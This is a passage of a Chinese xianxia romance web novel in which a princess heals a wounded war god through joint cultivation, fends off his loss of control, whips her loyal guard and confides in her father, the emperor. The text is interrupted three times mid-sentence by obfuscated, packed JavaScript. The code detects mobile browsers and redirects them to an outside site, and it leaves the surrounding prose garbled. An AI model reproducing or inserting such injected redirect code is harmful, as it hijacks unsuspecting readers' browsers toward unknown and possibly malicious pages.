九昭要说的便是扶胥的伤情,便飞快摇了摇头:“我们两人方下天辇,正在闲话告别之时,他忽然晕倒在地,我输入一丝仙力查看他有何不妥,却发现他竟是为凤凰真血的力量所伤。” 闻听描述,丹曛一副意料中的模样,这令九昭更加怀疑。 “姑姑——” 她唤声出口,丹曛又做出肃然的神色,压低声音:“臣奉帝座口谕而来,九昭神姬听令!” 九昭只得暂停己言,洗耳恭听。 “战神扶胥在神魔交战中,被身秉凤凰真血之力的魔族所伤,元神动荡,灵台不稳,念及三清天唯有九昭神姬一人身怀凤凰真血,特令九昭神姬与扶胥上神合修,协助其恢复伤势。” 丹曛的话拆分开来,九昭字字皆懂。 组合在一起,却变成她听不懂的含义。 “合、合修,我与扶胥?!” 这个词语在她舌尖滚了一圈,她的耳廓先火辣辣地热了起来。 丹曛年长,观九昭反应,知晓其记恨扶胥冷落,羞赧之余,更有诸多不情愿。 便握住九昭广袖下半蜷的左手在掌心,推心置腹道:“殿下,扶胥上神法力高强,是我三清天不可缺少的战力,何况来日您得登帝位,也需要他的辅佐和支持——仅是合修而已,您抛开众仙赋予其的诸多名义,只将它当做一次普通的疗伤过程,没什么大不了的。” “若殿下实在不愿,帝座交代过,也请您细想想五百年前,扶胥上神为您做过的一切。” …… 丹曛说完这些,也并未逼迫九昭当场答应,自行回去复命了。 只留下满腔思绪、左右游移的九昭缓步朝侧殿走去。 穿过开阔葱茏的宫苑前庭,等候着她归返的朱映赶了上来,向她禀告扶胥的初步情况:“殿下,臣请了常驻离恨天的医官们进行初步诊断,他们皆言上神受伤颇重,且体内有一股古怪而强大的力量作祟,他们不知是何来源,且仙力不足,无法为扶胥上神施术治疗。” 凤凰真血举世罕见,天生具有伪装之力,不是凤族与同源者无法辨认,寻常仙官下神自然不会认得。且就算认得,哪怕神帝亲至,为扶胥治疗的效果都无法比与她合修更好。 九昭表情复杂地摆了摆手:“叫他们都退下吧,本殿要亲自进去照看扶胥。” 朱映只以为自己恍惚间出现了幻觉,下意识喃喃道:“您说、您要进去照看上神……?” 能做出这个决定,九昭也是下了很大的决心。 面对朱映的疑惑,她并不回答,在门前徐徐站定。 望着殿内围作一团的医官告退离去,才一拍朱映肩膀:“你是这离恨天的统领仙官,也是本殿最看重的心腹,本殿进去后,你就守在门外,不管谁来都不能打扰,否则,本殿唯你是问。” …… 殿门沉沉闭合。 也带走了这偌大殿宇中的泰半光亮。 紧绷双目的扶胥躺在侧殿的寝床上,失去他的压制,那萦绕周身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918048|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本浅薄的黑气浓郁不少。 九昭并起两指,指尖一转,盖在他身上的被褥瞬间退到一旁,而全无意识的扶胥也如同个木偶娃娃般由躺改坐,整个人呈现盘腿打坐的姿势,占据大床的一侧。 九昭踢掉锦履,抬步上床。 熟悉的动作,熟悉的姿态,让纷呈往事如同小锤般在她心口敲击作响。 当初她被兰祁退婚羞辱,气得心头血喷出,元神大损。 是神帝派遣在天生具有疗愈天赋的木属性中,修为最高的扶胥来为她恢复伤势。 这整个治疗的过程,耗费了扶胥一千年的时光。 都说忘掉一段感情的最好方式,就是开启一段新的感情,这一千年里,她也从最开始的心灰意冷,敷衍抗拒,到后来的欣然接受、隐含期待,甚至同意了神帝重新颁布的她与扶胥的婚令。 他们起初的关系,也没有到如今这个地步。 扶胥固然冷峻寡言,却着实是个细心的人。 两人相处期间,他凭借无声的体贴,一步步纾解着九昭的心结。 在即将成婚的前一百年,终于放下难堪旧情的九昭,以未婚夫妻的名义提出要与他合修。 合修,即为合灵同修。 在倡导清心寡欲的三清天,这已经算是夫妻伴侣间最为热切的亲近方式。 扶胥没有拒绝。 他不仅通过合修彻底修复了九昭受损的元神,更给予她自己的力量,指引她一同修炼。 一百年过去,九昭的仙力突飞猛进,远胜过未受伤的从前。 他们。 曾经是也很好、很好的。 好到光阴逝去至今,九昭都无法接受那些扶胥对自己的好,只是奉了父神的天令。 丹曛的话将尘封的往昔重新揭开,九昭目光复杂地瞪着扶胥昏沉的面孔,口中恨恨:“父神让我仔细想想你对我的好……可我凭什么要想,我为君,你为臣,你为本殿去死都是应该的!” “何况,何况……只是耗费自己的神力,为本殿治伤……” 她说到后面仍然嘴硬。 双手却十分诚实地相交结印,做出合修的手势。 属于凤凰真血的赤色辉光自她的灵台溢出,钻入扶胥苍白的额心当中,随着覆满整个身体之后,那团赤色大涨,将他们相视对坐的身影彻底吞没。 外界的尘嚣一瞬间尽数远离。 九昭闭合双目,灵台中却更加具象化地映出了扶胥此刻的状态。 契阔诀发挥作用,他的身体以无比欢迎的姿态接纳着她的仙力的融入。 彼此追逐,相互缠绕。 所到之处,被掺杂凤凰真血的魔气灼伤的地方,如干涸皲裂的土地般经涓涓细流充盈。 九昭加大了仙力的输出。 那重伤扶胥的作恶者力量强大,她唯有竭尽全力才能堪堪将凤凰真血的气息中和。 汗水自白皙的额头涔涔淌落。 两方同源力量的角逐,将结界内的温度越来越热。 九昭全神贯注,唯恐一个不小心没消弭扶胥体内的真血神力,自己也被反噬受伤。 灵台中扶胥的相貌逐渐模糊,取而代之的是两股此消彼长的烈焰。 就在这个时候,坐在九昭对面的青年,却无声无息睁开了双眼。 他冷色调的肌肤显出不正常的潮红状态,漆黑的眼底同样有冲天火光映照。 镶嵌在脖颈中央的喉结滑动一瞬后,他扩散的瞳孔迟疑逡巡着,目光最终落在九昭的唇上。 5. 第5章 九昭也发觉热得有点不太对劲。 这种热并非她的身体受到神力亦或魔气的灼烧。 更像是某种从体内流淌出来的火苗,急迫地想要溶解什么,或是点燃什么。 九昭益发无所适从。 迫不得已,她睁开双眼,试图将注意力从那团炽热的桎梏中抽离些许。 然而,重获视野后的场景,却让九昭吓得屏息。 不知何时,伤重昏迷的扶胥竟也睁开了眼睛,目光直勾勾地盯着她脸孔某处。 他似乎同样遭受着异火的煎熬,俊面酡烧一片,两片平时看起来颜色浅淡的薄唇也透着红。 过于直白的视线仿佛欲念的具象化,平添前所未有的侵略性。 九昭头皮一阵发麻,与之相反的,呈盘坐姿势的小腿肚却发起软来。 她不知该回望扶胥强撑气势,还是该侧开面孔避免对视,讷讷道:“你醒了……” 九昭的话没有得到回应。 在静等片刻后,她只好再度抬起双眸。 这才发现,扶胥从始至终盯住不放的,竟是自己的嘴唇。 其中不言而喻的意味加重九昭的羞耻感,她细若蚊蝇的音调拔高:“你、你在看哪里?!” 扶胥依旧不言不语。 耳畔滑入九昭的娇嗔,他涣散的瞳孔倏忽拥有目标。拢修合于一处的手臂也伸了出来,准确无误捏住九昭结阵掐诀的手指——大了一号的、属于成年男性的手,将九昭左手紧紧包入掌心,期间还伴随着指甲划过指缝,时而收拢指节,时而摩挲敏感掌心肌肤的狎弄。 九昭何时受过这样的对待。 那只手的力道不大,她却怎样挣扎都逃离不开。 五百年前,又不是没有合修过—— 那时候扶胥是如何循规蹈矩,连多余的视线交汇也几乎没有。 今日、今日他是怎么了? 百思不得其解之下,一股扶胥疯了的荒唐感在她脑海萌发。 而九昭刹那的走神,更引起扶胥的不满。 他手掌向上,探入宽大广袖,一路与九昭颤抖的小臂相贴,而后将她猛地朝自己这头一拉,在九昭惊叫一声紧紧贴上他身躯的同时,他前倾胸膛,将她压倒在寝床侧畔的雕花栏架上。 衣袍被褥交绕,黑的黑,红的红。 色彩揉碎于一处,如同两条缠绵的长蛇。 合修的阵法断了。 四周的赤色结界仍在忠诚地发挥着蔽声蔽感的作用。 九昭使不出力,无法通知守在殿外的朱映,只得既羞且慌地望着扶胥的面孔悬于自己面上。 迟钝如她,此刻也发现了扶胥的不正常。 他星辉般的眼眸不复平日的清明沉静,如同焚业海那些最低接的妖魔一般,全凭本能行事。 就算受了重伤,在力量上,自己也绝无同他对抗的可能。 九昭紧张地吞咽了一下喉咙,半张的口腔已被情火烧灼到干涸一片。 更不妙的是,她的理智之外,心头亦有一道蠢蠢欲动的声音,在叫嚣着对于扶胥的渴望。 按照这种情况下去。 搞不好,今日就要在这张床上—— 九昭怀着一丝希望冷嘲热讽起来:“你、你不是讨厌我吗?” “现在又是在做什么?” “亲吻一个讨厌的女子,也不知道等你真正清醒了会是什么样的心情?!” 九昭指责的尾音拖长,怯怯发着抖,剥掉三清天神姬这道极具震慑力的光耀外衣,她陷在扶胥的臂弯里,嘴上的倔强不屈,更接近于床笫之间欲拒还迎的情趣。 充耳不闻的扶胥轻松凭借体型的差距,一手抓住她的两只手腕高举过头,下半身则牢牢压制住她胡乱踢蹬的双腿,像是苦寻良久的榫终于找到能够同他合为一体的卯。 就在那张薄唇即将落下来的一刻,九昭紧闭双眼破罐子破摔道:“别让本殿更加恨你!” 这句话也不过是最后的尝试。 熊熊的情火快要将整副神志吞噬。 九昭倒没什么一定要将身子留给心爱之人的情结。 早在几千年前,她就因为好奇,与尚未堕魔,也没有成为她未婚夫的兰祁有过初次尝试。 如果一定要发生,能够吸收他的部分神力,也不算是件太坏的事情…… 渴望压过理智,九昭的内心朦朦胧胧浮现出说服自身的谬言。 然而,想象中的场景不曾到来。 在外强中干的威胁脱口而出后,扶胥仅是压制着她,没有进行下一步。 九昭软着身子,说不清自己的动作究竟是抗拒还是逢迎,难受地蹭乱了他的衣衫。 快滚。 别走。 两道截然相反的命令在她的喉咙深处翻来覆去。 就在快要抵抗不住的时候,她倏忽感觉到未被布料包裹的肌肤一凉—— 再回过神来,打出生起就被母神亲手挂在脖间,几万年不曾离身的长乐命牌已然离开胸前。 啧啧的水声,紧随其后响起。 扶胥做了什么…… 九昭的脑海顿时炸开火花。 能发出这种声响,他、他是将那刻纹为凤凰的命牌含进了嘴里—— 如此狎昵的行径,九昭简直闻所未闻。 “扶胥,你……” 没有镜子,她也知晓自己的脸红得厉害,发出的抗拒声如春水般潺潺无力。 咬住命牌的一角,那举止放浪形骸的上神垂眸凝视她。 如有实质的视线穿透皮肉,照进神魂,只一瞬,就叫情火彻底烧断心弦。 九昭情不自禁仰高脖颈,试图捕获他的嘴唇。 在两人唇齿即将贴紧的前夕,一股凉如冷泉的神力骤然涌进她的灵台,仅是照面就消解掉大半令人目眩神迷的热意。 湿红的下睑附着泪花,九昭迷蒙睁眼,在一片模糊天地里,见命牌仍被扶胥含在口中,其上的禁制被紧急触动,自内散发的、源源不断的神力击退情热,保护了自己。 她恢复清醒,可扶胥还是那副样子。 不知是否被邪火控制了大脑,他似乎将命牌当成了九昭,薄唇不断做出吻咬的行径。 九昭凝神注视两瞬,又羞又气,右手竭尽全力从扶胥的钳制中挣脱开来,顺势高高扬起。 啪! 极清脆响亮的耳光声过后,扶胥被她打得侧偏面孔。 九昭一面催动命牌的力量冷却扶胥高热的头脑,一面斥骂道:“你胆敢对本殿放肆!” 行动总是比言语更加奏效。 在神力和疼痛的双重作用下,扶胥黑黢黢的涣散瞳孔显出一丝清醒的亮光。 “神姬殿下……” 他低声唤出九昭的封号,四肢沉甸甸的,抬不起来,只能趔趄着向后撤去。 “你醒了就好,本殿总有一笔帐要与你算!” 九昭胸口上下起伏,不住喘着气,然而等到扶胥的体温彻底远离她的身体,她意欲再斥责几句,忽见扶胥手掌冒出青绿神光,接着并指如刀,狠狠捅进自己的左下腹中去。 “!!” “扶胥,你在做什么?!” 不再引诱于她,就要开始自残吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918049|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 九昭气也顾不上喘匀,骇得喉咙都抖索起来。 鲜血喷洒而出,扶胥闷哼一声,脸上的酡红半褪,神色却十分平静。 他勉强靠在大床的另一角,催促道:“臣的伤势不敢劳烦殿下,这一次臣在昏迷当中没能阻止,今后殿下请勿又行自作主张之举——眼下趁臣自伤维持清醒,殿下赶紧撤掉结界离开吧。” 自己好心与他合修疗伤。 他还差点强迫自己。 这会儿恢复过来,半分羞愧道歉没有,还敢沉着脸出言讥讽—— 九昭抬手指着扶胥,连声说了几个好:“什么自作主张,本殿看‘一厢情愿’四个字才是你真正想说的!你以为是本殿对你旧情难忘才救你的吗?一切只不过父命难违四个字而已—— “扶胥,你别太把自己当回事!” 一通臭骂,她撤掉结界,连鞋也没穿,气得提起裙摆噔噔跑了出去。 扶胥望着她的背影,试图说些什么,又一口血自唇角溢出,不受控制昏沉了过去。 …… 殿门开合,光着脚的九昭出现在朱映眼前。 在她衣鬓凌乱的周身,朱映捕捉到一丝合修遗留的气息。 “殿下——” 后头的话没说完,朱映倏忽透过九昭身子与殿门的缝隙,窥见殿内鲜血满床的场景。 “这是怎么了?” 一切过于惊悚。 沉稳如朱映也禁不住眸光震动。 九昭却咬着下唇不说话,撇开他一步一步走回自己居住的主殿。 两边都得罪不起,但明显受伤垂危的扶胥更加严重一些。朱映连忙唤来女婢仙官们再次入侧殿给扶胥收拾医治,又严令他们不准将今天在殿内看到的景象向外界泄露半个字。 处理完扶胥的事,他才把全身心放在九昭这头。 当他推门进入常曦主殿时,博物架上摆放的稀世珍宝已经被九昭砸了一通。 目光触及她高举在手的一方砚台时,朱映迭声制止:“殿下别!那是神帝送您的银墨砚!” 九昭沉沉瞥他一眼,又记起确有其事,才把这方珍贵的砚台随手丢在一旁,面孔上余怒未消:“谁准你穿着女装变回男声的,不阴不阳的,也不嫌自己恶心!” “臣是殿下的统领仙官,一切都是为了殿下高兴。” “不阴不阳也没什么,这副滑稽姿态若能为殿下纾解心情,那便是值得的。” 朱映并不在意九昭对自己的评价。 想当年他尊神帝天令,到九昭身边担负护卫职责,又被九昭以男身近身侍奉多有不便为由,强命化作女子示于人前时,他就做好了九昭恣意乖劣,凡事都不要与她多做计较的心理准备。 奈何往常必定起效的法子,今日意外失灵。 “本殿没耐性听你贫嘴!” 九昭双眼俱是冷意,命令脱口而出,“你去传本殿的法旨,让扶胥滚回辟蒙宫,从此以后再也不许踏入本殿的离恨天,本殿等下就去面见父神,让他解除本殿和扶胥的契阔诀!” 变回女声的朱映为难地垂着眼睛:“回禀殿下,臣观扶胥上神左腹处血流不止,新伤旧伤夹杂在一起,若是此刻贸然移动,恐怕有性命之忧——” “那跟本殿有什么关系?” “他就是死也给我死到常曦殿外去!” 一声断然怒喝过后,九昭掌心赤光大放,本命武器初具雏形。 蕴着凌厉仙术的长鞭指向朱映,她柳眉倒竖,一字一句,“若你还认本殿为主,就领命前去将扶胥赶出离恨天,否则你们两个,本殿一、个、不、留!” 6. 第6章 九昭动了真怒,朱映不敢再不当回事。 他在九昭的逼视中当即肃穆面容,敛衽应声离去。 九昭这才觉得气顺了些。 她坐在寝殿,取下脖颈上的命牌,用清洁术来来回回洗了八次,心里的膈应略略平息。 她又盘算着想要亲眼见证扶胥被人丢出常曦殿的悲惨模样,于是倒提长鞭,来到侧殿。 结果出乎她的意料。 侧殿的情形依旧“风平浪静”。 至于为何是打上引号的风平浪静—— 在捅腹自伤后,扶胥的情况更严重了,不仅气息微弱,腹部更是血流不止,医官侍女们跑进跑出,换水的换水,止血的止血,每一个的脸色肉眼可见沉重异常。 扶胥重伤晕倒,生死不知,皆在九昭的预料内。 可她没想到的是,朱映胆敢违抗自己的命令。 他负手立于殿旁,见到九昭提着鞭子的身影,连忙一个箭步拦在门前,阻止她进去。 “殿下、殿下,请您三思—— “违抗您的命令并非臣之所愿,只是扶胥上神才刚得胜归来,帝座赞誉其为有功之臣,如果今日我们真的将他扔出常曦殿,来日三清天群情激奋,到时候臣害怕帝座也会护不住您!” 朱映张开手臂,不给九昭留出任何闯入的空隙。 他劝诫得苦口婆心,只恨不能挖出自己的心脏来作为证明。 瞧见这等架势,原本疾步来去的旁人也瑟缩着躲在殿内,生怕出去就被九昭的怒火波及。 然而这回九昭却不想跟他废话了。 她扬起长鞭用力一击地面,原本平滑光洁的庭院砖石,立刻被抽出一道蛛网般的裂痕。 “你知道为何本宫要给自己的本命仙器取名为打神鞭吗?” 随着语调阴恻的问询出口,她恶狠狠一鞭子抽了过去,“上神本宫都打得,更何况你!” 一阵破风巨响—— 朱映没有躲闪也没有施法抵抗,硬生生被仙光凌冽的长鞭抽裂了衣衫。 他本人亦被这柄神帝亲手锻造的武器,抽得向后踉跄半步,又挺起肩膀继续挡在殿前。 其实能够成为三清天储君的贴身近卫,足以见得朱映的仙力高超。 九昭也做好了与他纠缠的准备。 这见血的一鞭叫她眸光一顿,随即愤怒如海,汹涌攀升。 “你让不让开?” 她问道。 朱映拢了拢被鲜血洇湿的衣衫,缓慢摇头。 九昭咬牙切齿,又是一鞭。 “我问你,你让不让?” “臣不能让。” 啪! 又是一鞭。 啪、啪、啪! 九昭一共问了三遍,朱映俱是摇头。 血液将他身上浅色的布料染成深红,而他的唇角,亦淌下一抹蜿蜒的痕迹。 九昭只觉得自己被架了上去。 若是今日停手,难免威严扫地。 到最后,凶性大起的她索性不再询问,一鞭又一鞭,誓要将朱映打到俯首退让。 就在第十鞭将要落下之时,离恨天浩渺的云端终于传来一抹纶音:“九昭,住手。” 与施加在礼服上的神术如出一辙的华光坠落在朱映面前,嗡鸣着急速扩大成一道有形屏障。 屏障之后,等来救兵的朱映支撑不住跪倒在地。 对方伤得这么严重,九昭的心脏微微抽搐起来。 但尊严被辱的愤恼迫使她不再多看一眼,只是抬头望着神帝那如天地般阔大的法相投影,勉强收起打神鞭,躬身行礼:“九昭见过父神——父神怎么来了?” “不必多问,本座在三清天紫微宫等你,你速来觐见。” “……是。” 万般事宜,都抵不过三清天主君的命令。 九昭只得暂时撇开常曦殿的烂摊子,闪身前往紫微宫。 穿过寂静的宫庭,她噤声踏入殿内,两扇金光闪闪的参天大门在身后闭合。 神帝议事的场所虽被称为紫微宫,但内里更接近于一个缩小版的三清天,共分为三层,第一层为众仙林立恭听之地,第二层为参政奏禀之地,至于第三层,则是神帝的垂旒御座。 四下无人,九昭站在第二层跪下大声请安,却被一朵云载托起来,飘向紫微宫的最高处。 旒帘微掀,她快步跳下浮云,入目便是神帝一如既往的和蔼面容。 “昭儿过来。” 他侧开身体,拍了拍足以容下双人有余的御座。 这唤作旁人都会惶恐下跪的动作,换来九昭毫不迟疑的侧身一坐。 “父神,女儿不想再跟扶胥过下去。” 神帝面前,九昭置身常曦殿的疾言厉色皆去,她拖长音调,拉着神帝的衣袖左右摇晃。 “为何?” 刚才九昭将朱映抽得浑身是血的情形,似乎并不被神帝放在眼里,他抬手抚平九昭散乱的额发,含笑打趣,“为父怎么记得当初有人说过,扶胥长得好看又厉害,与他成婚自己不吃亏。” “当时是当时,今日是今日。 “已经过了一千五百年了,女儿改变主意了……” 合修时发生的情形,九昭不好说与神帝知晓,只能垂着头含糊嘟囔。 “倘若你想清楚了,为父自会为你做主。”神帝没有驳斥九昭头脑发热的请求,顺着她答应一句,又话锋一转,“不过对于扶胥的伤情,昭儿你没有任何想问的吗?” 被神帝提醒,九昭才想起自己给扶胥做初步检查时,确实有许多疑惑未得到答案。 她的不虞收敛大半,思忖着说道:“的确是有问题想求得父神解惑……女儿的仙气曾进入过扶胥的身体,他的内伤十分蹊跷,竟不是全然被魔气侵蚀,上面隐隐有凤凰真血的气息。” “莫非无日渊中镇压的罪神巫劭逃脱了禁制,重返焚业海领兵作恶?” 神帝摇头:“巫劭早已神识泯灭,成为一具行尸走肉,扶胥受伤不是他的所作所为。焚业海内有人拥有另一半凤凰真血之事仍然是个秘密,待到合适的时机,为父自会同你提起。” “只是昭儿,另外一件事你需知晓。 “扶胥受魔族埋伏重伤,是为了你。” “我?” 九昭茫然看着神帝。 神帝言简意赅,只用几句话就交代清楚事情的原委。 神魔两族交战,扶胥运筹百年,取得了最终胜利。在最后一场追击逃兵的战争里,眼见即将深入焚业海业火肆虐的腹地,他原想率兵回归,却意外捕捉到战争中始终蛰伏未出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918050|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰祁踪迹。 兰祁曾经悔婚羞辱九昭,扶胥身为她的王夫,自然不能坐视仇敌来去。他顾虑到仙阶低等的士兵们无法忍受业火的灼烧,魔界的逃兵亦所剩无几,便独自追逐兰祁而去,不料中了埋伏。 一番恶战,兰祁被他打伤。 他也中了与木属性最为相克的凤凰真血之力。 “……他可是编了个故事来欺骗父神?女儿在与丹曛姑姑恳谈之后,又不是没有施展真血之力与他合修,他好不容易恢复清醒,非但不感谢女儿,还责怪我自作多情!” 九昭嘴上说着不信,但到底清楚,神帝是最疼爱她的父亲,断没有偏帮扶胥的道理。 神帝谆谆道:“你母神仙逝前将一身凤凰真血传给了你,可你这几万年来不曾勤加修炼,一直无法晋升上神之位,故而也不能完全掌握真血神力。扶胥归来时,本座曾跟他提及与你合修加快伤势恢复,却被他拒绝了。想来是担心合修过程里,你一不小心被神力反噬,危机自身。” 九昭的脾气来得快,去得也快。 听完神帝解释,心头面对扶胥的恨意消解了几分。 只是由于过去的种种,她依旧心怀芥蒂,便抱着神帝的衣袖,小女儿似地依偎在他肩头,撒娇嘟囔着:“女儿生平最讨厌不好好说话的人,五百年前扶胥明明有嘴非要不告而别,像躲瘟神一般躲我到神魔边境,五百年后回来,女儿好意助他恢复伤势,他又处处甩脸色给我看—— “如此性格不和,女儿实在难以同他继续相处下去,做一对相敬如宾的夫妻。” 九昭的心里话,只会对着最信赖的家人诉说。 前半段还是惯常的、高高在上的语气,到后半段,声量渐低,隐现落寞。 自己的女儿婚姻不睦,神帝如何不心疼。 他深深叹了口气:“这也怪为父,这几万年来魔界不平静,日常要处理的事务太多,开始想着兰祁……想着扶胥为人端持,天赋出众,能作为你的王夫陪伴在你身边,尽辅佐储君之责。” “父神—— “女儿说过,女儿向往自由,并不想当这个未来神帝。” 九昭重复多年以前与神帝谈心时的想法,她放软声线,俯下颈子依靠着神帝,如同身处暴风中的雏鸟依靠着为其展开羽翼遮蔽的亲鸟,“父神寿与天齐,何愁不能统治三清天万万载,女儿只想做个永远长不大的神姬,承欢膝下,好好孝顺父神。” 望着九昭和妻子相似的长相,听着她依恋的言语,神帝只觉心化作一滩柔软的水。 是啊,神的寿命接近永恒。 九昭才不过三万余岁,这个年纪放在三清天中,还是堪堪成年的孩子。 他尚有无数时间守护九昭,教导她为君之道,看着她矫然成长。 四千五百年前兰祁的背叛,是他识人不清,耽误了九昭。 倘若扶胥在接下来的日子里还是不行—— 神帝的盘算在脑海转圜一圈,手上有一下没一下地轻拍着九昭的肩膀,许诺道:“实在无法相处,为父也不会勉强你同扶胥在一起,只是昭儿,扶胥常年护卫三清天的安宁,更是自巫劭之后最强大的战神,你要答应父神,尽心替扶胥清除凤凰真血之秽。 “否则单凭他自己,就算伤势勉强恢复,也会留下灼骨烧筋的后遗症。” 7. 第7章 一番父女面谈,神帝说了许多。 他告诉九昭,为扶胥疗伤并非只是损耗她的仙元。 只要顺利炼化他体内的真血之气,九昭的仙力也会得到突破提升。 聆听完神帝的教诲,又陪他用了顿晚膳,九昭才施施然乘坐天辇返回。 一路上,她心想,既然扶胥出言拒绝是为了自己着想,那自己也犯不着跟个伤患过不去,就暂时将他安置在侧殿,等到他醒过来诚恳认错,再决定后头是否要跟他继续合修。 脚尖踩上离恨天的土地,来迎接九昭的是她的贴身女婢绛玉。 “殿下恕罪,朱映姐姐受伤颇重,这段时间恐怕不能经常在您身边侍奉了。” 理顺了扶胥的事情,差点忘了还有朱映这一遭。 绛玉的话令九昭有些于心不忍。 她面上不显,淡淡嗯了一声,问起扶胥的情况,绛玉回答:“扶胥上神还没有醒过来,侧殿那边有缃璧和众位医官在守着,若上神醒了,缃璧会第一时间禀告于您。” 缃璧是九昭的另一位贴身侍女。 相比活泼多话的绛玉,她的性格更加沉稳,处事也细密周全。 九昭并不担心有缃璧在,侧殿能出现什么意外,便跳过扶胥,问起另一件要紧事:“本殿的私库钥匙可在你手中?拿出来,本殿要进私库找点东西。” 绛玉自腰带上解下钥匙,赔着笑脸:“殿下要去私库找什么?奴婢熟悉,奴婢陪您去。” 去私库,当然是找药材。 这是用膳期间神帝叮嘱九昭的另一件事。 三清天的医官大多不识凤凰真血,无法对症下药,而出于不可说的原因,此事还不能在众仙面前公开,这便需要九昭亲自配齐需要用到的仙植,才能加快扶胥的伤势恢复。 九昭没有拒绝绛玉的请求。 她带绛玉来到私库,掏出神帝给的清单,让绛玉和自己一起把上面列出的药材找齐。 在物力方面,九昭从不吝啬,但凡私库里有的东西,她全部拿了出来。 小山那么高的珍贵药材堆积在地上,灵光闪过,被九昭的储物戒收入其中,她将戒指丢给绛玉:“你将里面的仙植和清单转交给医官,命他们熬出药来,喂扶胥喝下。” “是。” 绛玉答应着离去。 目送对方的身影离开私库,九昭迟疑片刻,又转身翻找起治疗外伤的仙药。 …… 三清天没有四季之分,却有如同人间般的日升月落。 夜色四合,行道两侧应时亮起无数莲花琉璃灯,将整个常曦殿装点出另一番灿烂盛景。 一片静谧里,九昭掌心攥着两瓶药,走到朱映独自居住的小院门口。 她犹豫着要不要进去,寝居的房门却被人推了开来。 恢复男身的朱映披着罩衫,正吃力端着一盆染红的血水,似乎刚刚为自己擦洗完毕。 目光触及徘徊在院落外的九昭,朱映愣怔过后就想问安,只是端着水盆的双手有些无措。 九昭见状,摆手示意他免礼。 既被发现,她索性大方点明来意:“本殿来看看你,顺便带了些伤药。” 朱映越发意外。 他将血水倒在旁边种花的土地上,快步上前将九昭迎进屋子:“夜晚风露重,殿下请进。” 进去前,九昭余光不经意掠过那片土地,见被血水浇过之处,有好似萤火的微光粼粼。 朱映的肩膀手臂都受了伤,不方便使力。 不过简单的端水泼水动作,放下水盆后,他的手腕仍然在不受控制的发抖。 九昭自是清楚父神亲赠打神鞭的威力,她坐在床旁方凳上,将药递过去,低声说:“都伤成这样了,就别再勉强自己,你是我常曦殿的统领仙官,没两个女婢服侍,实在有失身份。” “殿下,虽然臣常年穿着女装,但到底是男子,让女婢侍奉,不合规矩。 “……何况,也不能叫人发现臣的真实性别。” 朱映拒绝的回答同当年如出一辙,这让原本就是没话找话的九昭,窘迫地摸了摸鼻尖。 气氛就要安静下去,朱映又将注意力转回药上,他端详瓶身贴着的药名一阵,抬起头真心实意地看着九昭:“这些药都是南陵进奉的上品仙药,臣再次叩谢殿下的恩赏。” 九昭长到现在,几乎没有主动示好过任何人,顺着朱映的话,不知该如何表达关切的她再度无师自通想出新招:“你手臂受伤严重,使不出力气,不如让本殿帮你上药。” 话音刚落,她不由分说抢过朱映手里的药。 “殿、殿下,这更加不合规矩,臣、臣是男子……” 这下,饶是心思机敏的朱映也结巴起来。 “那又怎样?在本殿心里,你同女子没有区别。若是男身害羞,你变回女体不就好了吗?” 九昭理所当然地半昂起头。 她的话让朱映悄然苦笑一瞬,连同一开始的赧然也消减不少——也对,在九昭的心里,他只是一个下臣,一件服侍她的工具,和工具讲男女大防,怪不得她露出不可思议的表情。 朱映暗自讪讪,说干就干的九昭却行动起来。 她拖着方凳靠近,直直拉开朱映身上的衣带,一具清瘦但线条分明的男性躯体映入眼帘。 ……他的确是男子,身体结构和女子不同。 九昭勾着衣袖的手指微顿,直面朱映为男性的事实,比她想象中好像冲击力更大些。 她垂落目光,脸颊有些发烫。 但为着和朱映消融嫌隙,她倒出药瓶里的凝露,一点一点抹上被自己打伤的肌肤。 “你、你把里衣再脱些下来,肩膀和手臂的部分本殿涂不到。” “殿下,好殿下,要不臣自己来吧……倘若被人看到,臣怕是明天就要受天雷刑罚了……” “他们都守在扶胥那里,没人跟着本殿来,你放心。” “那您稍微轻一点……” 被九昭粗手笨脚地揉按几次,原本咬牙忍耐的朱映禁不住嘶痛出声。 “没、没事吧?那本殿轻些——” 初次涂药的九昭一时看脸,一时看伤,只恨不能多长几只眼睛,把朱映密不透风地围起来。 涂到锁骨上的鞭痕时,她猛地站起踩住了自己的裙摆,差点将朱映扑倒在床。 她手忙脚乱的模样,平添几分拙稚的娇憨。 朱映看在眼里,又好笑又局促之余,难捱的痛楚倒是好受了几分。 还是个赤子心肠的孩子。 几万年来,作为父亲的神帝经常缺席,她一路跌跌撞撞至今,性格的缺陷总得有人去包容。 这样想,朱映内心最后一点怒其不争的情绪也消散了。 他望着向来高傲的九昭,低头涂药时露出的毛茸茸发旋,唇角不自觉勾起。 “其实本殿已经有很多年没有惩罚 